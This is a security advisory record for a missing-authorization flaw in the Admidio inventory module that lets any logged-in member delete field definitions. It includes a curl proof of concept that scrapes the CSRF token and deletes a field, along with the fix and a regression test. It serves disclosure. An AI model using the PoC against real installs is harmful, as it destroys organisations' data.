{"id":"GHSA-xw54-c3mx-9pm3","summary":"Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024","details":"## Summary\n\nCommit `d37ca6b27b9674238e58491cf7ba292e66898f15` (\"Delete item not check admin rights #2024\", 2026-04-12) added a missing `isAdministratorInventory()` gate to `case 'item_delete':` in `modules/inventory.php`. The same fix was not applied to the sibling `case 'field_delete':` handler, which destroys an entire inventory field definition, cascading to every `adm_inventory_item_data` row that referenced that field and every `adm_inventory_field_options` entry. The handler validates only a session-bound CSRF token; there is no `isAdministratorInventory()` check at the controller level, and `Admidio\\Inventory\\Entity\\ItemField::delete()` does not enforce one at the entity level either (unlike its sibling `ItemField::save()`, which does check `$gCurrentUser-\u003eisAdministrator()`). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.\n\n## Details\n\n### Vulnerable Code\n\n`modules/inventory.php` mode dispatch at the top of the file:\n\n```php\n// modules/inventory.php:64-72  (top-level rights gate)\nif ($gSettingsManager-\u003egetInt('inventory_module_enabled') === 0) {\n    throw new Exception('SYS_MODULE_DISABLED');\n} elseif ($gSettingsManager-\u003egetInt('inventory_module_enabled') === 2 && !$gValidLogin\n    || ($gSettingsManager-\u003egetInt('inventory_module_enabled') === 3 && !$gCurrentUser-\u003eisAdministratorInventory())\n    || ($gSettingsManager-\u003egetInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser-\u003eisAdministratorInventory())\n    || ($gSettingsManager-\u003egetInt('inventory_module_enabled') === 5 && !$gCurrentUser-\u003eisAllowedToSeeInventory() && !$gCurrentUser-\u003eisAdministratorInventory())) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n```\n\n`inventory_module_enabled=2` is the default value (`install/db_scripts/preferences.php`: `'inventory_module_enabled' =\u003e '2',`). At this setting the only gate is `$gValidLogin` — any logged-in user reaches the switch.\n\n`modules/inventory.php:123-131` — `field_delete` only checks the session CSRF, not admin rights:\n\n```php\ncase 'field_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService-\u003edelete();\n\n    echo json_encode(array('status' =\u003e 'success', 'message' =\u003e $gL10n-\u003eget('SYS_INVENTORY_ITEMFIELD_DELETED')));\n    break;\n```\n\n`SecurityUtils::validateCsrfToken` (`src/Infrastructure/Utils/SecurityUtils.php`) is a session-token compare:\n\n```php\npublic static function validateCsrfToken(string $csrfToken)\n{\n    global $gCurrentSession;\n    if ($csrfToken !== $gCurrentSession-\u003egetCsrfToken()) {\n        throw new Exception('Invalid or missing CSRF token!');\n    }\n}\n```\n\nThe token is the session's CSRF token, which the actor's own session prints on every page (it appears in `?mode=field_list`'s response in the `data-csrf` JSON callback). So a non-admin attacker has it for free.\n\n`src/Inventory/Service/ItemFieldService.php:46-49` — the service just delegates:\n\n```php\npublic function delete(): bool\n{\n    return $this-\u003eitemFieldRessource-\u003edelete();\n}\n```\n\n`src/Inventory/Entity/ItemField.php:54-88` — the entity's `delete()` blocks system fields via `inf_system==1` but otherwise has **no `isAdministrator()` check**:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentOrgId;\n\n    if ($this-\u003egetValue('inf_system') == 1) {\n        // System fields could not be deleted\n        throw new Exception('Item fields with the flag \"system\" could not be deleted.');\n    }\n\n    $this-\u003edb-\u003estartTransaction();\n\n    // close gap in sequence\n    $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...';\n    $this-\u003edb-\u003equeryPrepared($sql, ...);\n\n    // delete all data of this field in the item data table\n    $sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId';\n    $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n    // delete all data of this field in the field select options table\n    $sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId';\n    $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n    $return = parent::delete();        // DELETE FROM adm_inventory_fields WHERE inf_id = ?\n\n    $this-\u003edb-\u003eendTransaction();\n    return $return;\n}\n```\n\nCompare with `ItemField::save()` at line 230, which *does* enforce admin:\n\n```php\npublic function save(bool $updateFingerPrint = true): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    // only administrators can edit item fields\n    if (!$gCurrentUser-\u003eisAdministrator() && !$this-\u003esaveChangesWithoutRights) {\n        throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.');\n    }\n    ...\n}\n```\n\nThe asymmetry is the bug: save is gated, delete is not.\n\n### Sibling Handlers with the Same Shape\n\nSix other state-changing modes in the same file have the same \"CSRF only, no `isAdministratorInventory()` check\" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause:\n\n| line | mode | effect |\n|---:|---|---|\n| 123 | `field_delete` | this advisory |\n| 154 | `delete_option_entry` | removes a single option from a dropdown / radio field |\n| 171 | `sequence` | reorders fields |\n| 347 | `item_retire` | hides items from the active inventory |\n| 364 | `item_reinstate` | un-hides items |\n| 462 | `item_picture_delete` | deletes an item picture |\n\nEach of these is reachable by any logged-in user under the default `inventory_module_enabled=2`.\n\n## PoC\n\nTested live on HEAD `c5cde53` with PHP 8.4, MariaDB 11.8 backing on `127.0.0.1:3399`, Admidio served via `php -S 127.0.0.1:8085`. `inventory_module_enabled=2` (default install).\n\nA non-administrator user `lowuser` was created via the admin UI and given only the default `Member` role. The user has no `isAdministratorInventory()` right and is not configured as a keeper. A non-system test field `TESTFIELD` (uuid `cccccccc-2222-3333-4444-deadbeefcafe`) was created via SQL, with `inf_system=0`.\n\n```\n# starting state: lowuser is a regular Member; TESTFIELD exists\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';\"\ninf_id  inf_uuid                                inf_name_intern  inf_system\n8       cccccccc-2222-3333-4444-deadbeefcafe    TESTFIELD        0\n\n# 1. login as lowuser\n$ curl -sb $cookie -L \"http://127.0.0.1:8085/\" -o /tmp/init.html\n$ csrf=$(grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' /tmp/init.html | head -1 | sed 's/.*value=\"//')\n$ curl -sb $cookie \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"plg_usr_login_name=lowuser\" \\\n    --data-urlencode \"plg_usr_password=Lowpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"http://127.0.0.1:8085/modules/overview.php\"}\n\n# 2. lowuser visits inventory's field_list page (this works under default\n#    inventory_module_enabled=2 because $gValidLogin is true)\n#    The response contains the session CSRF token in a data callback\n$ inv_csrf=$(curl -sb $cookie \"http://127.0.0.1:8085/modules/inventory.php?mode=field_list\" \\\n              | grep -oE '\"adm_csrf_token\":\\s*\"[^\"]+\"' | head -1 \\\n              | sed 's/.*\"adm_csrf_token\":\\s*\"//;s/\"$//')\n\n# 3. lowuser sends field_delete targeting TESTFIELD\n$ curl -sb $cookie -X POST \\\n    --data-urlencode \"adm_csrf_token=$inv_csrf\" \\\n    \"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe\"\n{\"status\":\"success\",\"message\":\"Item field successfully deleted\"}\n\n# 4. verify\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';\"\n(no rows)\n```\n\nThe field is gone. `Admidio\\Inventory\\Entity\\ItemField::delete()` ran the four statements (sequence-gap update, `DELETE FROM adm_inventory_item_data`, `DELETE FROM adm_inventory_field_options`, `DELETE FROM adm_inventory_fields`) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator.\n\n## Impact\n\nA non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:\n\n* Every per-item value stored against that field across the whole organisation is wiped (`DELETE FROM adm_inventory_item_data WHERE ind_inf_id = \u003cfield\u003e`).\n* For dropdown / radio / multiselect fields, every option entry is wiped (`DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = \u003cfield\u003e`).\n* The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.\n* There is no in-product undo. Recovery requires restoring from backup.\n\nIn practice, a single attacker with one rogue regular-member account can iterate `field_list` to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.\n\n`PR:L` because any logged-in member is enough; `S:U` because the impact stays inside Admidio's own data; `C:N` because the operation does not leak data; `I:H` because the field row plus all referencing rows are destroyed; `A:H` because the inventory module's user-defined schema is lost.\n\nThe bug is a classic **incomplete fix**: commit `d37ca6b` patched the literal endpoint named in issue #2024 (`item_delete`) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit `12639a4` (\"CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter\") on `item_save`, again only on the literal reported endpoint.\n\n## Recommended Fix\n\nAdd an explicit `isAdministratorInventory()` check at the top of `case 'field_delete':` (and the sibling state-changing handlers listed above), matching the pattern that was applied to `item_delete` in `d37ca6b`:\n\n```php\n// modules/inventory.php\ncase 'field_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    // check if user has admin rights for inventory   \u003c-- new\n    if (!$gCurrentUser-\u003eisAdministratorInventory()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService-\u003edelete();\n\n    echo json_encode(array('status' =\u003e 'success', 'message' =\u003e $gL10n-\u003eget('SYS_INVENTORY_ITEMFIELD_DELETED')));\n    break;\n```\n\nApply the same patch to `delete_option_entry` (line 154), `sequence` (line 171), `item_retire` (line 347), `item_reinstate` (line 364), and `item_picture_delete` (line 462).\n\nFor defense in depth, mirror the entity-level gate from `ItemField::save()` into `ItemField::delete()` at `src/Inventory/Entity/ItemField.php:54`:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    if (!$gCurrentUser-\u003eisAdministrator() && !$this-\u003esaveChangesWithoutRights) {\n        throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.');\n    }\n\n    if ($this-\u003egetValue('inf_system') == 1) {\n        throw new Exception('Item fields with the flag \"system\" could not be deleted.');\n    }\n    ...\n}\n```\n\nA regression test should log in as a non-administrator member, GET `inventory.php?mode=field_list`, post `mode=field_delete` with the captured session CSRF token, and assert the response is `SYS_NO_RIGHTS` rather than `success`.","aliases":["CVE-2026-47233"],"modified":"2026-05-29T22:15:07.143485856Z","published":"2026-05-29T22:09:38Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-29T22:09:38Z","nvd_published_at":null,"cwe_ids":["CWE-1281","CWE-862"]},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-xw54-c3mx-9pm3"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio%2Fadmidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.10"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-xw54-c3mx-9pm3/GHSA-xw54-c3mx-9pm3.json","last_known_affected_version_range":"\u003c= 5.0.9"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}